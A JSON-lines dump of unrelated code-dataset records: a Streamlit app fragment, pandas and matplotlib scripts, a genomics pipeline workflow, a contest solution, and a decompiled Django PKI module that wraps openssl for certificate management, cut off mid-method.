plt.axis('off')\n st.pyplot()\n \n if selection == \"Technical\":\n\n ml_img = Image.open(\"resources/imgs/ml_img.png\")\n st.image(ml_img, use_column_width=True)\n \n st.info(\"Here you will find a little more technical info on the models available for prediction\")\n\n tech_inf = markdown(open('resources/vector_model_exp.md').read())\n st.markdown(tech_inf, unsafe_allow_html=True)\n\n st.sidebar.title(\"About\")\n st.sidebar.info(\n \"\"\"\n This app is maintained by EDSA students. It serves as a project\n for a classification sprint.\n\n **Authors:**\\n\n Kennedy Mbono\\n\n Nyandala Ramaru\\n\n Marcus Moeng\\n\n Heinrich De Klerk\\n\n Nombulelo Msibi\\n\n\n\"\"\"\n )\n# Required to let Streamlit instantiate our web app.\nif __name__ == '__main__':\n main()\n","sub_path":"base_app.py","file_name":"base_app.py","file_ext":"py","file_size_in_byte":23268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"327634757","text":"import pandas as pd\nimport numpy as np\n\nfrom pandas import Series,DataFrame\n\nnp.random.seed(25)\n\nlinhas = ['linha 1','linha 2','linha 3','linha 4','linha 5','linha 6']\ncolunas = ['coluna 1','coluna 2','coluna 3','coluna 4','coluna 5','coluna 6']\n\ndf = DataFrame(np.random.rand(36).reshape((6,6)),\n index = linhas,\n columns= colunas)\n\nprint(df)\nprint('')\nprint(df < .2)\nprint('')\n\nindice = ['linha 1','linha 2','linha 3','linha 4',\n 'linha 5','linha 6','linha 7','linha 8']\n\nseries_obj = Series(np.arange(8), index=indice)\nfiltro = series_obj > 6\n\nprint(series_obj)\nprint('')\nprint(series_obj[filtro])\n\nseries_obj['linha 1','linha 5','linha 8'] = 8\nprint('')\nprint(series_obj)","sub_path":"FilterData.py","file_name":"FilterData.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"643819032","text":"import os\n\nimport pypeliner\nimport pypeliner.managed as mgd\nfrom wgs.workflows.hmmcopy import tasks\nfrom wgs.utils import helpers\n\n\ndef create_hmmcopy_workflow(\n bam_file, out_dir, global_config, config,\n sample_id, bias_pdf, correction_pdf, hmmcopy_pdf,\n hmmcopy_table, pygenes_table\n):\n\n workflow = pypeliner.workflow.Workflow()\n\n\n workflow.transform(\n name='hmmcopy_readcounter',\n ctx=helpers.get_default_ctx(\n memory=global_config['memory']['low'],\n walltime='2:00', ),\n func=tasks.hmmcopy_readcounter,\n args=(\n mgd.InputFile(bam_file, extensions=['.bai']),\n mgd.TempOutputFile('infile.wig'),\n config,\n )\n )\n\n workflow.transform(\n name='calc_corr',\n func=tasks.calc_corr,\n args=(\n mgd.TempInputFile('infile.wig'),\n mgd.TempOutputFile('infile_copy.txt'),\n mgd.TempOutputFile('infile_copy.obj'),\n config,\n ),\n kwargs={'docker_image': config['docker']['hmmcopy']}\n )\n\n workflow.transform(\n name='run_hmmcopy',\n func=tasks.run_hmmcopy,\n args=(\n mgd.TempInputFile('infile_copy.obj'),\n mgd.TempInputFile('infile_copy.txt'),\n mgd.TempOutputFile('hmmcopy_res.obj'),\n mgd.TempOutputFile('hmmcopy_segments.txt'),\n mgd.OutputFile(hmmcopy_table),\n sample_id,\n config,\n ),\n kwargs={'docker_image': config['docker']['hmmcopy']}\n )\n\n workflow.transform(\n name='plot_hmm',\n func=tasks.plot_hmm,\n args=(\n mgd.TempInputFile('infile_copy.obj'),\n mgd.TempInputFile('hmmcopy_res.obj'),\n mgd.TempSpace('correction_plots_dir'),\n mgd.TempSpace('hmmcopy_plots_dir'),\n mgd.OutputFile(bias_pdf),\n mgd.OutputFile(correction_pdf),\n mgd.OutputFile(hmmcopy_pdf),\n ),\n kwargs={'docker_image': config['docker']['hmmcopy']}\n )\n\n workflow.transform(\n name='annot_hmm',\n func=tasks.annot_hmm,\n args=(\n mgd.TempInputFile('hmmcopy_segments.txt'),\n mgd.OutputFile(pygenes_table),\n config,\n )\n )\n\n return workflow\n","sub_path":"wgs/workflows/hmmcopy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"560493124","text":"def read_tokens():\n return input().strip().split(' ')\n\n\ndef read_ints():\n return [int(s) for s in read_tokens()]\n\n\ndef solve(n: int, k: int) -> list:\n ans = []\n if n < k:\n return ans\n\n if n % 2 != 0 and k % 2 == 0:\n return ans\n\n if n % k == 0:\n return [n // k] * k\n\n if n == k:\n return [1] * k\n\n if n % 2 == 0 and k % 2 != 0:\n if n < 2*k:\n return []\n for i in range(k-1):\n ans.append(2)\n ans.append(n - 2*(k-1))\n return ans\n\n if (n % 2 == 0 and k % 2 == 0) or (n % 2 != 0 and k % 2 != 0):\n for i in range(k-1):\n ans.append(1)\n ans.append(n - (k - 1))\n return ans\n\n return []\n\n\nT = int(input())\n\nfor test in range(T):\n n, k = read_ints()\n arr = solve(n, k)\n if len(arr) == 0:\n print(\"NO\")\n continue\n print(\"YES\")\n for el in arr:\n print(el, end=\" \")\n print()\n","sub_path":"contests/640/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"158690466","text":"from pylab import *\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import rc\nrc ('font', **{'family':'sans-serif', 'sans-serif':'Linux Biolinum', 'size':16})\n\ndef float_eq (a, b):\n return abs(a - b) < min (1e-3 * a, 1e-3 * b)\n\n# InA, InB, out\ndata = []\n\nwith open (\"test-dc-out\") as f:\n for line in f:\n ina, inb, out = line.split ()\n ina = float (ina.rstrip(','))\n inb = float (inb.rstrip(','))\n out = float (out.rstrip(','))\n data.append ((ina, inb, out))\n\ndata.sort ()\n\n#######################################\n# Plot: output vs. InA over eight InBs\ninbs = sorted (set (i[1] for i in data))\ninbs_plot = inbs[::len(inbs)//7]\nprint (inbs_plot)\nfor inb in inbs_plot:\n plot_x = [i[0] for i in data if i[1] == inb]\n plot_y = [i[2] for i in data if i[1] == inb]\n\n # Generate a text label on the line\n # First, find the rotation angle for it\n coeffs = polyfit (plot_x, plot_y, 1)\n angle = arctan (coeffs[0]) * (180/pi) * 0.65\n\n # Now, the position\n text_x = 0.6\n text_y = plot_y[17*len(plot_y)//20] * 1.3\n if text_y >= -0.1:\n text_y += 0.025\n else:\n text_y /= 1.4\n text_y += 0.1\n print (text_y)\n\n text (text_x, text_y, 'InB=%.2f V' % inb, rotation=angle)\n plot (plot_x, plot_y, 'b')\n\nxlabel (\"Input A (V)\")\nylabel (\"Multiplier output (V)\")\ntitle (\"Multiplier Transfer Characteristic\")\ngrid ()\nsavefig ('transfer.eps')\nshow ()\n\n#######################################\n# Plot: output vs. InB when InA = 0.25\ninbs = []\nouts = []\nfor ina, inb, out in data:\n if ina > 0.24 and ina < 0.26:\n inbs.append (inb)\n outs.append (out)\n\ncoeffs = polyfit (inbs, outs, 1)\nouts_ideal = [polyval (coeffs, i) for i in inbs]\n\nplot (inbs, outs, 'r', label=\"Measured output\")\nplot (inbs, outs_ideal, 'b', label=\"Ideal output\")\nxlabel (\"Input B (V)\")\nylabel (\"Multiplier output (V)\")\ntitle (\"Transfer Curve and Ideal Response (Input A = 0.25V)\")\ngrid ()\nlegend (loc=2)\nsavefig ('transfer-a25.eps')\nshow ()\n\n\n############################################\n# Plot: output vs. InB error when InA = 0.25\ninbs = []\nouts = []\nfor ina, inb, out in data:\n if ina > 0.24 and ina < 0.26:\n inbs.append (inb)\n outs.append (out)\n\ncoeffs = polyfit (inbs, outs, 1)\nouts_ideal = [polyval (coeffs, i) for i in inbs]\n\nerrors = [(i - j) for i, j in zip (outs, outs_ideal)]\nplot (inbs, errors)\nxlabel (\"Input B (V)\")\nylabel (\"Error\")\ntitle (\"Error\")\ngrid ()\nsavefig ('error.eps')\nshow ()\n\n\n","sub_path":"GilbertCell/testing/generate-plot.py","file_name":"generate-plot.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"495146924","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/mgallet/Github/Penates-Server/penatesserver/pki/service.py\n# Compiled at: 2015-12-29 03:19:15\n\"\"\"\nmy_ca = PKI(dirname=\"/tmp/test\")\nmy_ca.initialize()\nmy_ca.gen_ca(CertificateEntry(\"ca.19pouces.net\", role=CA))\n\"\"\"\nfrom __future__ import unicode_literals, with_statement, print_function\nimport base64, codecs, hashlib, os, datetime, re, shlex, shutil\nfrom subprocess import CalledProcessError\nimport subprocess, tempfile\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.template.loader import render_to_string\nfrom django.utils.text import slugify\nfrom django.utils.timezone import utc\nfrom penatesserver.filelocks import Lock\nfrom penatesserver.pki.constants import ROLES, RSA, RESOURCE, USER, ENCIPHERMENT, SIGNATURE, EMAIL, COMPUTER_TEST, COMPUTER, CA\nfrom penatesserver.utils import t61_to_time, ensure_location\n\ndef local(command, cwd=None):\n return subprocess.check_output(shlex.split(command), shell=False, cwd=cwd, stderr=subprocess.PIPE)\n\n\n__author__ = b'Matthieu Gallet'\n\nclass CertificateEntry(object):\n\n def __init__(self, commonName, organizationName=b'', organizationalUnitName=b'', emailAddress=b'', localityName=b'', countryName=b'', stateOrProvinceName=b'', altNames=None, role=RESOURCE, dirname=None):\n self.commonName = commonName\n self.organizationName = organizationName\n self.organizationalUnitName = organizationalUnitName\n self.emailAddress = emailAddress\n self.localityName = localityName\n self.countryName = countryName\n self.stateOrProvinceName = stateOrProvinceName\n self.altNames = altNames or []\n self.role = role\n self.dirname = dirname or settings.PKI_PATH\n\n @property\n def filename(self):\n basename = b'%s_%s' % (self.role, self.commonName)\n return slugify(basename)\n\n @property\n def values(self):\n return ROLES[self.role]\n\n @property\n def key_filename(self):\n return os.path.join(self.dirname, b'private', b'keys', self.filename + b'.key.pem')\n\n @property\n def pub_filename(self):\n return os.path.join(self.dirname, b'pubkeys', self.filename + b'.pub.pem')\n\n @property\n def ssh_filename(self):\n return os.path.join(self.dirname, b'pubsshkeys', self.filename + b'.pub')\n\n @property\n def sshfp_sha1(self):\n with codecs.open(self.ssh_filename, b'r', encoding=b'utf-8') as (fd):\n method, content = fd.read().split(b' ')\n value = hashlib.sha1(base64.b64decode(content)).hexdigest()\n code = {b'ssh-rsa': 1, b'ssh-dss': 2, b'ecdsa-sha2-nistp256': 3, b'ssh-ed25519': 4}.get(method, 0)\n return b'%s 1 %s' % (code, value)\n\n @property\n def sshfp_sha256(self):\n with codecs.open(self.ssh_filename, b'r', encoding=b'utf-8') as (fd):\n method, content = fd.read().split(b' ')\n value = hashlib.sha256(base64.b64decode(content)).hexdigest()\n code = {b'ssh-rsa': 1, b'ssh-dss': 2, b'ecdsa-sha2-nistp256': 3, b'ssh-ed25519': 4}.get(method, 0)\n return b'%s 2 %s' % (code, value)\n\n @property\n def crt_filename(self):\n return os.path.join(self.dirname, b'certs', self.filename + b'.crt.pem')\n\n @property\n def req_filename(self):\n return os.path.join(self.dirname, b'private', b'req', self.filename + b'.req.pem')\n\n @property\n def ca_filename(self):\n return os.path.join(self.dirname, b'cacert.pem')\n\n @property\n def crt_sha256(self):\n return self.pem_hash(self.crt_filename, hashlib.sha256)\n\n @property\n def pub_sha256(self):\n return self.pem_hash(self.pub_filename, hashlib.sha256)\n\n @property\n def crt_sha512(self):\n return self.pem_hash(self.crt_filename, hashlib.sha512)\n\n @property\n def pub_sha512(self):\n return self.pem_hash(self.pub_filename, hashlib.sha512)\n\n @staticmethod\n def pem_hash(filename, hash_cls=None):\n if hash_cls is None:\n hash_cls = hashlib.sha256\n with codecs.open(filename, b'r', encoding=b'utf-8') as (fd):\n content = fd.read()\n b64_der = (b'').join(content.splitlines()[1:-1])\n der = base64.b64decode(b64_der)\n return hash_cls(der).hexdigest()\n\n def __repr__(self):\n return self.commonName\n\n def __unicode__(self):\n return self.commonName\n\n def __str__(self):\n return self.commonName\n\n\nclass PKI(object):\n\n def __init__(self, dirname=None):\n self.dirname = dirname or settings.PKI_PATH\n self.cacrl_path = os.path.join(self.dirname, b'cacrl.pem')\n self.careq_path = os.path.join(self.dirname, b'private', b'careq.pem')\n self.crt_sources_path = os.path.join(self.dirname, b'crt_sources.txt')\n self.cacrt_path = os.path.join(self.dirname, b'cacert.pem')\n self.users_crt_path = os.path.join(self.dirname, b'users_crt.pem')\n self.hosts_crt_path = os.path.join(self.dirname, b'hosts_crt.pem')\n self.services_crt_path = os.path.join(self.dirname, b'services_crt.pem')\n self.cakey_path = os.path.join(self.dirname, b'private', b'cakey.pem')\n self.users_key_path = os.path.join(self.dirname, b'private', b'users_key.pem')\n self.hosts_key_path = os.path.join(self.dirname, b'private', b'hosts_key.pem')\n self.services_key_path = os.path.join(self.dirname, b'private', b'services_key.pem')\n\n def get_subca_infos(self, entry):\n assert isinstance(entry, CertificateEntry)\n if entry.role in (USER, EMAIL, SIGNATURE, ENCIPHERMENT):\n return (self.users_crt_path, self.users_key_path)\n if entry.role in (COMPUTER, COMPUTER_TEST):\n return (self.hosts_crt_path, self.hosts_key_path)\n if entry.role == CA:\n return (self.cacrt_path, self.cakey_path)\n return (\n self.services_crt_path, self.services_key_path)\n\n def initialize(self):\n with Lock(settings.PENATES_LOCKFILE):\n serial = os.path.join(self.dirname, b'serial.txt')\n index = os.path.join(self.dirname, b'index.txt')\n ensure_location(serial)\n if not os.path.isfile(serial):\n with codecs.open(serial, b'w', encoding=b'utf-8') as (fd):\n fd.write(b'01\\n')\n if not os.path.isfile(index):\n with codecs.open(index, b'w', encoding=b'utf-8') as (fd):\n fd.write(b'')\n ensure_location(os.path.join(self.dirname, b'new_certs', b'0'))\n\n def ensure_key(self, entry):\n \"\"\"\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n if not self.__check_key(entry, entry.key_filename):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_key(entry)\n self.__gen_pub(entry)\n self.__gen_ssh(entry)\n elif not self.__check_pub(entry, entry.pub_filename):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_pub(entry)\n self.__gen_ssh(entry)\n elif not self.__check_ssh(entry, entry.ssh_filename):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_ssh(entry)\n\n def ensure_certificate(self, entry):\n \"\"\"\n\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n if not self.__check_key(entry, entry.key_filename):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_key(entry)\n self.__gen_pub(entry)\n self.__gen_ssh(entry)\n self.__gen_request(entry)\n self.__gen_certificate(entry)\n elif not self.__check_certificate(entry, entry.crt_filename):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_request(entry)\n self.__gen_certificate(entry)\n\n def __gen_openssl_conf(self, entry=None, ca_infos=None):\n \"\"\"\n principal: used to define values\n ca: used to define issuer values for settings.CA_POINT, settings.CRL_POINT, settings.OCSP_POINT\n temp_object: used to track temporary files and correctly remove them after use\n keyType: used to define issuer values for settings.CA_POINT, settings.CRL_POINT, settings.OCSP_POINT,\n settings.KERBEROS_REALM\n crts: list of revoked Certificate objects\n\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n if ca_infos is None:\n ca_crt_path, ca_key_path = self.cacrt_path, self.cakey_path\n else:\n ca_crt_path, ca_key_path = ca_infos\n context = {b'dirname': self.dirname, b'policy_details': [], b'crlPoint': b'', b'caPoint': b'', b'altSection': b'', b'altNamesString': b'', b'krbRealm': b'', b'krbClientName': b'', b'ca_key_path': ca_key_path, b'ca_crt_path': ca_crt_path}\n if entry is not None:\n assert isinstance(entry, CertificateEntry)\n role = ROLES[entry.role]\n for key in ('organizationName', 'organizationalUnitName', 'emailAddress',\n 'localityName', 'stateOrProvinceName', 'countryName', 'commonName'):\n context[key] = getattr(entry, key)\n\n alt_names = list(entry.altNames)\n for k in ('basicConstraints', 'subjectKeyIdentifier', 'authorityKeyIdentifier'):\n context[b'policy_details'].append((k, role[k]))\n\n for k in ('keyUsage', 'extendedKeyUsage', 'nsCertType'):\n context[b'policy_details'].append((k, (b', ').join(role[k])))\n\n if b'1.3.6.1.5.2.3.4' in role[b'extendedKeyUsage'] and settings.PENATES_REALM:\n alt_names.append(('otherName', '1.3.6.1.5.2.2;SEQUENCE:princ_name'))\n context[b'krbRealm'] = settings.PENATES_REALM\n context[b'krbClientName'] = entry.commonName\n if b'1.3.6.1.5.2.3.5' in role[b'extendedKeyUsage'] and settings.PENATES_REALM:\n alt_names.append(('otherName', '1.3.6.1.5.2.2;SEQUENCE:kdc_princ_name'))\n context[b'krbRealm'] = settings.PENATES_REALM\n if alt_names:\n alt_list = [ (b'{0}.{1} = {2}').format(alt[0], i, alt[1]) for i, alt in enumerate(alt_names) ]\n context[b'altNamesString'] = (b'\\n').join(alt_list)\n context[b'altSection'] = b'subjectAltName=@alt_section'\n if settings.SERVER_NAME:\n context[b'crlPoint'] = b'%s://%s%s' % (settings.PROTOCOL, settings.SERVER_NAME, reverse(b'get_crl'))\n context[b'caPoint'] = b'%s://%s%s' % (settings.PROTOCOL, settings.SERVER_NAME,\n reverse(b'get_ca_certificate', kwargs={b'kind': b'ca'}))\n conf_content = render_to_string(b'penatesserver/pki/openssl.cnf', context)\n conf_path = os.path.join(self.dirname, b'openssl.cnf')\n with codecs.open(conf_path, b'w', encoding=b'utf-8') as (conf_fd):\n conf_fd.write(conf_content)\n return conf_path\n\n @staticmethod\n def __gen_key(entry):\n u\"\"\" génère la clef privée pour l'entrée fournie\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n role = ROLES[entry.role]\n ensure_location(entry.key_filename)\n if role[b'keyType'] == RSA:\n local((b'\"{openssl}\" genrsa -out {key} {bits}').format(bits=role[b'rsaBits'], openssl=settings.OPENSSL_PATH, key=entry.key_filename))\n else:\n with tempfile.NamedTemporaryFile() as (fd):\n param = fd.name\n local((b'\"{openssl}\" dsaparam -rand -genkey {bits} -out \"{param}\"').format(bits=role[b'dsaBits'], openssl=settings.OPENSSL_PATH, param=param))\n local((b'\"{openssl}\" gendsa -out \"{key}\" \"{param}\"').format(openssl=settings.OPENSSL_PATH, param=param, key=entry.key_filename))\n os.remove(param)\n os.chmod(entry.key_filename, 384)\n\n @staticmethod\n def __gen_pub(entry):\n u\"\"\" génère la clef publique pour l'entrée fournie\n la clef privée doit exister\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n role = ROLES[entry.role]\n ensure_location(entry.pub_filename)\n if role[b'keyType'] == RSA:\n local((b'\"{openssl}\" rsa -in \"{key}\" -out \"{pub}\" -pubout').format(openssl=settings.OPENSSL_PATH, key=entry.key_filename, pub=entry.pub_filename))\n else:\n local((b'\"{openssl}\" dsa -in \"{key}\" -out \"{pub}\" -pubout').format(openssl=settings.OPENSSL_PATH, key=entry.key_filename, pub=entry.pub_filename))\n\n @staticmethod\n def __gen_ssh(entry):\n u\"\"\" génère la clef publique SSH pour l'entrée fournie\n la clef privée doit exister\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n result = local((b'\"{ssh_keygen}\" -y -f \"{inkey}\" ').format(inkey=entry.key_filename, ssh_keygen=settings.SSH_KEYGEN_PATH))\n ensure_location(entry.ssh_filename)\n with open(entry.ssh_filename, b'wb') as (ssh_fd):\n ssh_fd.write(result)\n\n def __gen_request(self, entry):\n u\"\"\" génère une demande de certificat pour l'entrée fournie\n la clef privée doit exister\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n conf_path = self.__gen_openssl_conf(entry)\n role = ROLES[entry.role]\n ensure_location(entry.req_filename)\n local((b'\"{openssl}\" req -out \"{out}\" -batch -utf8 -new -key \"{inkey}\" -{digest} -config \"{config}\" -extensions role_req').format(openssl=settings.OPENSSL_PATH, inkey=entry.key_filename, digest=role[b'digest'], config=conf_path, out=entry.req_filename))\n\n def __gen_certificate(self, entry):\n u\"\"\" génère un certificat pour l'entrée fournie\n la demande de certificat doit exister, ainsi que la CA\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n ensure_location(entry.crt_filename)\n subca_infos = self.get_subca_infos(entry)\n conf_path = self.__gen_openssl_conf(entry, ca_infos=subca_infos)\n role = ROLES[entry.role]\n local((b'\"{openssl}\" ca -config \"{cfg}\" -extensions role_req -in \"{req}\" -out \"{crt}\" -notext -days {days} -md {digest} -batch -utf8 ').format(openssl=settings.OPENSSL_PATH, cfg=conf_path, req=entry.req_filename, crt=entry.crt_filename, days=role[b'days'], digest=role[b'digest']))\n serial = self.__get_certificate_serial(entry.crt_filename)\n with codecs.open(self.crt_sources_path, b'a', encoding=b'utf-8') as (fd):\n fd.write(b'%s\\t%s\\t%s\\t%s\\n' % (serial, os.path.relpath(entry.key_filename, self.dirname),\n os.path.relpath(entry.req_filename, self.dirname),\n os.path.relpath(entry.crt_filename, self.dirname)))\n\n def __gen_ca_key(self, entry):\n \"\"\"\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n role = ROLES[entry.role]\n ensure_location(self.cakey_path)\n if role[b'keyType'] == RSA:\n local((b'\"{openssl}\" genrsa -out {key} {bits}').format(bits=role[b'rsaBits'], openssl=settings.OPENSSL_PATH, key=self.cakey_path))\n else:\n with tempfile.NamedTemporaryFile() as (fd):\n param = fd.name\n local((b'\"{openssl}\" dsaparam -rand -genkey {bits} -out \"{param}\"').format(bits=role[b'dsaBits'], openssl=settings.OPENSSL_PATH, param=param))\n local((b'\"{openssl}\" gendsa -out \"{key}\" \"{param}\"').format(openssl=settings.OPENSSL_PATH, param=param, key=self.cakey_path))\n os.remove(param)\n os.chmod(self.cakey_path, 384)\n\n def __gen_ca_req(self, entry):\n \"\"\"\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n role = ROLES[entry.role]\n ensure_location(entry.req_filename)\n conf_path = self.__gen_openssl_conf(entry)\n local((b'\"{openssl}\" req -out \"{out}\" -batch -utf8 -new -key \"{inkey}\" -{digest} -config \"{config}\" -extensions role_req').format(openssl=settings.OPENSSL_PATH, inkey=self.cakey_path, digest=role[b'digest'], config=conf_path, out=entry.req_filename))\n\n def __gen_ca_crt(self, entry):\n \"\"\"\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n conf_path = self.__gen_openssl_conf(entry)\n role = ROLES[entry.role]\n ensure_location(self.cacrt_path)\n local((b'\"{openssl}\" ca -config \"{cfg}\" -selfsign -extensions role_req -in \"{req}\" -out \"{crt}\" -notext -days {days} -md {digest} -batch -utf8 ').format(openssl=settings.OPENSSL_PATH, cfg=conf_path, req=entry.req_filename, crt=self.cacrt_path, days=role[b'days'], digest=role[b'digest']))\n\n def ensure_ca(self, entry):\n u\"\"\" si la clef privée de la CA n'existe pas, crée une nouvelle CA\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n \"\"\"\n if not self.__check_key(entry, self.cakey_path):\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_ca_key(entry)\n self.__gen_ca_req(entry)\n self.__gen_ca_crt(entry)\n for sub_name in ('users', 'services', 'hosts'):\n sub_entry = CertificateEntry(b'%s.%s' % (sub_name, entry.commonName), organizationName=entry.organizationName, organizationalUnitName=entry.organizationalUnitName, emailAddress=entry.emailAddress, localityName=entry.localityName, countryName=entry.countryName, stateOrProvinceName=entry.stateOrProvinceName, dirname=entry.dirname, role=CA)\n self.ensure_certificate(sub_entry)\n shutil.copy(sub_entry.crt_filename, getattr(self, b'%s_crt_path' % sub_name))\n shutil.copy(sub_entry.key_filename, getattr(self, b'%s_key_path' % sub_name))\n\n @staticmethod\n def __check_pub(entry, path):\n \"\"\" vrai si la clef publique est valide\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n :return:\n :rtype: `boolean`\n \"\"\"\n if not os.path.isfile(path):\n return False\n cmd = b'rsa' if ROLES[entry.role][b'keyType'] == RSA else b'dsa'\n try:\n local((b'\"{openssl}\" {cmd} -pubout -pubin -in \"{path}\"').format(openssl=settings.OPENSSL_PATH, cmd=cmd, path=path))\n except CalledProcessError:\n return False\n\n return True\n\n @staticmethod\n def __check_key(entry, path):\n u\"\"\" vrai si la clef privée est valide\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n :return:\n :rtype: `boolean`\n \"\"\"\n if not os.path.isfile(path):\n return False\n cmd = b'rsa' if ROLES[entry.role][b'keyType'] == RSA else b'dsa'\n try:\n local((b'\"{openssl}\" {cmd} -pubout -in \"{path}\"').format(openssl=settings.OPENSSL_PATH, cmd=cmd, path=path))\n except CalledProcessError:\n return False\n\n return True\n\n @staticmethod\n def __check_ssh(entry, path):\n \"\"\" vrai si la clef publique SSH est valide\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n :return:\n :rtype: `boolean`\n \"\"\"\n entry = entry\n if not os.path.isfile(path):\n return False\n return True\n\n @staticmethod\n def __check_req(entry, path):\n u\"\"\" vrai si la requête est valide\n :param entry:\n :type entry: :class:`penatesserver.pki.service.CertificateEntry`\n :return:\n :rtype: `boolean`\n \"\"\"\n entry = entry\n if not os.path.isfile(path):\n return False\n try:\n local((b'\"{openssl}\" req -pubkey -noout -in \"{path}\"').format(openssl=settings.OPENSSL_PATH, path=path))\n except CalledProcessError:\n return False\n\n return True\n\n def __check_certificate(self, entry, path):\n entry = entry\n if not os.path.isfile(path):\n return False\n else:\n try:\n stdout = local((b'\"{openssl}\" x509 -enddate -noout -in \"{path}\"').format(openssl=settings.OPENSSL_PATH, path=path))\n except CalledProcessError:\n return False\n\n stdout = stdout.decode(b'utf-8')\n end_date = t61_to_time(stdout.partition(b'=')[2].strip())\n after_now = datetime.datetime.now(tz=utc) + datetime.timedelta(30)\n if end_date is None or end_date < after_now:\n return False\n serial = self.__get_certificate_serial(path)\n if serial is None:\n return False\n if self.__get_index_file()[serial][1] != b'V':\n return False\n return True\n\n def revoke_certificate(self, crt_content, regen_crl=True):\n with Lock(settings.PENATES_LOCKFILE):\n with tempfile.NamedTemporaryFile() as (fd):\n fd.write(crt_content.encode(b'utf-8'))\n fd.flush()\n serial = self.__get_certificate_serial(fd.name)\n infos = self.__get_index_file()[serial]\n if infos[1] != b'V':\n return\n conf_path = self.__gen_openssl_conf()\n local((b'\"{openssl}\" ca -config \"{cfg}\" -revoke {filename}').format(openssl=settings.OPENSSL_PATH, cfg=conf_path, filename=fd.name))\n key_filename = os.path.join(self.dirname, infos[5])\n if os.path.isfile(key_filename):\n with open(key_filename, b'rb') as (fd):\n content = fd.read()\n os.remove(key_filename)\n with open(key_filename + b'.bak', b'ab') as (fd):\n fd.write(content)\n req_filename = os.path.join(self.dirname, infos[6])\n if os.path.isfile(req_filename):\n os.remove(req_filename)\n crt_filename = os.path.join(self.dirname, infos[7])\n if os.path.isfile(crt_filename):\n os.remove(crt_filename)\n if regen_crl:\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_crl(20)\n\n @staticmethod\n def __get_certificate_serial(filename):\n cmd = [settings.OPENSSL_PATH, b'x509', b'-serial', b'-noout', b'-in', filename]\n serial_text = subprocess.check_output(cmd, stderr=subprocess.PIPE).decode(b'utf-8')\n matcher = re.match(b'^serial=([\\\\dA-F]+)$', serial_text.strip())\n if not matcher:\n return None\n else:\n return matcher.group(1)\n\n def ensure_crl(self):\n if not self.__check_crl():\n with Lock(settings.PENATES_LOCKFILE):\n self.__gen_crl(20)\n\n def __check_crl(self):\n try:\n content = subprocess.check_output([settings.OPENSSL_PATH, b'crl', b'-noout', b'-nextupdate', b'-in',\n self.cacrl_path], stderr=subprocess.PIPE)\n except CalledProcessError:\n return False\n\n key, sep, value = content.decode(b'utf-8').partition(b'=')\n if key != b'nextUpdate' or sep != b'=':\n return False\n return t61_to_time(value.strip()) > datetime.datetime.now(utc) + datetime.timedelta(seconds=86400)\n\n def __gen_crl(self, crldays):\n config = self.__gen_openssl_conf()\n content = subprocess.check_output([settings.OPENSSL_PATH, b'ca', b'-gencrl', b'-utf8', b'-config', config,\n b'-keyfile', self.cakey_path, b'-cert', self.cacrt_path, b'-crldays',\n str(crldays)], stderr=subprocess.PIPE)\n with open(self.cacrl_path, b'wb') as (fd):\n fd.write(content)\n\n def __get_index_file(self):\n \"\"\"Return a dict [\"serial\"] = [\"serial\", \"V|R\", \"valid_date\", \"revoke_date\", \"cn\", \"key filename\",\n \"req filename\", \"crt filename\"]\n :return:\n :rtype:\n \"\"\"\n result = {}\n with codecs.open(os.path.join(self.dirname, b'index.txt'), b'r', encoding=b'utf-8') as (fd):\n for line in fd:\n if not line:\n continue\n state, valid_date, revoke_date, serial, unused, cn = line.split(b'\\t')\n result[serial] = [serial, state, valid_date, revoke_date, cn, None, None, None]\n\n if os.path.isfile(self.crt_sources_path):\n with codecs.open(self.crt_sources_path, b'r', encoding=b'utf-8') as (fd):\n for line in fd:\n if not line:\n continue\n serial, key, req, crt = line.split(b'\\t')\n result[serial][5] = key\n result[serial][6] = req\n result[serial][7] = crt\n\n return result\n\n def gen_pkcs12(self, entry, filename, password):\n assert isinstance(entry, CertificateEntry)\n self.ensure_certificate(entry)\n with tempfile.NamedTemporaryFile() as (fd):\n fd.write(password.encode(b'utf-8'))\n fd.flush()\n p = 